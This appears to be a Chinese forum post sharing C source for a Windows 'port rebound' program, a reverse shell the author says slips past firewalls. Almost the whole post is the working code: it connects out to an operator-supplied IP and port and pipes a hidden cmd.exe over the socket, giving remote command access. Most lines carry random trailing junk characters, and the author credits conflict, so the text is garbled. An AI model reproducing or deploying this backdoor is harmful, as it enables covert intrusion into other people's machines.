Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 `k.0d`3(  
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/* ============================== HT%'dZ1  
Rebound port in Windows NT e.VQ!)>  
By wind,2006/7 90Bn}@t=Q  
===============================*/ evvv&$&  
#include 6>NK2} `  
#include up!54}
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#pragma comment(lib,"wsock32.lib") OK" fFv  
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void OutputShell(); O|AY2QH\  
SOCKET sClient; !O 0{ .k  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +~n4</  
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void main(int argc,char **argv) A}4 ",  
{ @j<Q2z^  
WSADATA stWsaData; f=hT o!i  
int nRet; AL{iQxQ6  
SOCKADDR_IN stSaiClient,stSaiServer; _;mA(j  
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if(argc != 3) +z|@K=d#|  
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printf("Useage:\n\rRebound DestIP DestPort\n"); |)*9BN  
return; s4`,
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} ,L=lg,lH^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); h?Lp9VF  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ntQW+!s
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stSaiClient.sin_family = AF_INET; ~e_  
stSaiClient.sin_port = htons(0);  ]&OI.p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dUL*~%2I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9]vy#a#  
{ ^'p!#\T;H  
printf("Bind Socket Failed!\n"); zF@[S  
return; qVW3oj<2  
} WK5B8u*<  
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stSaiServer.sin_family = AF_INET; >dJ[1s]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1i&|}"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); to
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z.Vf,<H  
{ .@0@Y  
printf("Connect Error!"); 9-Z?  
return; 7Ue&y8Yf  
} w7c0jIf{  
OutputShell(); XS$#\UQ  
} :_|Xr'n`A  
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void OutputShell() D
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{ Z*n4$?%W  
char szBuff[1024]; -/:!AxIH  
SECURITY_ATTRIBUTES stSecurityAttributes; NiYT%K%  
OSVERSIONINFO stOsversionInfo; 5<M$ XT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +;,X?E]g  
STARTUPINFO stStartupInfo; %\L{Ud%7  
char *szShell; 5+2qx)FZ  
PROCESS_INFORMATION stProcessInformation; :F_>`{  
unsigned long lBytesRead; '~VF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "E@A~<RKP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `>GXJ~:D["  
stSecurityAttributes.lpSecurityDescriptor = 0; yeam-8  
stSecurityAttributes.bInheritHandle = TRUE; ,Jx.Kj.,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^{YK'60  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {v"Y!/ [z  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }USOWsLSt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m%nRHT0KAf  
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; D!8v$(#hR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Uz=ol.E  
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GetVersionEx(&stOsversionInfo); J!}\v=Rn  
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switch(stOsversionInfo.dwPlatformId) T7|=`~  
{ \]g51U!'  
case 1: "
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szShell = "command.com"; p,tkVedR  
break; \E'z+0  
default: 9 e|[9  
szShell = "cmd.exe"; ] &SmeTe  
break; ?Yx2q_KZk  
} !DUOi4I  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [{>3"XJ'  
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send(sClient,szMsg,77,0); \t%iUZ$  
while(1) '#>Fe`[  
{ `.Zm}'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lavy?tFer  
if(lBytesRead) $1Fn
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{ BC5R$W.e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q VavP6I  
send(sClient,szBuff,lBytesRead,0); "YAnGGx)LZ  
} >*uj )u%  
else q8uq%wf  
{ v(6[z)A0  
lBytesRead=recv(sClient,szBuff,1024,0); *\B(-  
if(lBytesRead<=0) break; 6ma.FvSIM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `(DHa=s1  
} mM~&mAa+Z  
} JmeE}:5lpj  
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return; h(^c5#.  
}